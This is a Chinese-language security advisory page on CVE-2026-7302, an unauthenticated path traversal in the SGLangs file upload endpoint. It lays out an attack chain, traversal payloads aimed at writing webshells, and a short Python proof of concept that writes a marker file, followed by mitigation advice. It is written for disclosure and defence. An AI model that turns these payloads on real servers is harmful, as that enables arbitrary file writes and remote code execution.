IPBUF安全漏洞报告
English
CVE-2026-7302 CVSS 9.1 严重

CVE-2026-7302 SGLangs路径遍历漏洞

披露日期: 2026-05-18

漏洞信息

漏洞编号
CVE-2026-7302
漏洞类型
路径遍历
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
SGLangs

相关标签

路径遍历任意文件写入SGLangsRCECVE-2026-7302

漏洞概述

SGLangs多模态生成运行时存在未认证路径遍历漏洞。攻击者可利用特定端点的文件上传功能,通过在文件名中插入“../”序列,在服务器进程有权限的任意位置写入任意文件。该漏洞可能导致远程代码执行,风险极高。

技术细节

该漏洞根因是SGLangs在处理文件上传请求时,未对用户提供的文件名参数进行有效的路径安全校验或规范化。攻击者无需经过身份认证(PR:N)且无需用户交互(UI:N)即可向受影响端点发送恶意请求。通过构造包含“../”路径遍历字符的文件名,攻击者能够突破预期的上传目录限制,将文件写入到服务器文件系统的任意路径(前提是服务器进程对该路径具有写权限)。鉴于CVSS评分高达9.1,攻击者成功利用此漏洞后,可写入Webshell获取控制权、覆盖系统关键配置破坏可用性,或篡改数据破坏完整性。

攻击链分析

STEP 1
侦察
攻击者扫描互联网以识别暴露在公网上的SGLangs服务实例。
STEP 2
漏洞利用
攻击者向特定的文件上传端点发送特制的HTTP POST请求,在文件名字段中注入路径遍历Payload(如“../../etc/passwd”或“../../tmp/shell.php”)。
STEP 3
文件写入
由于未正确过滤,服务器解析文件名并将上传的内容写入到攻击者指定的非预期路径。
STEP 4
影响达成
攻击者通过写入恶意脚本(如Webshell)或覆盖关键系统文件,实现远程代码执行(RCE)或导致服务拒绝。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://target-ip:port/api/upload" # Malicious filename containing path traversal sequences # This attempts to write a file to the /tmp/ directory malicious_filename = "../../../../tmp/poc_file.txt" # File content to be written file_content = "This file was written by CVE-2026-7302 PoC." # Constructing the multipart form data files = { 'file': (malicious_filename, file_content) } try: response = requests.post(target_url, files=files) if response.status_code == 200: print(f"[+] Exploit successful! Server responded with status {response.status_code}") print(f"[+] Check /tmp/poc_file.txt on the target server.") else: print(f"[-] Exploit failed. Server responded with status {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

SGLangs (具体受影响版本请参考官方安全通告)

防御指南

临时缓解措施
如果无法立即升级,建议暂时关闭受影响的文件上传功能,或者在应用层面对文件名进行严格的正则校验(禁止包含“../”等特殊字符)。同时,将服务部署在内网并限制访问来源IP,避免服务直接暴露于公网。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表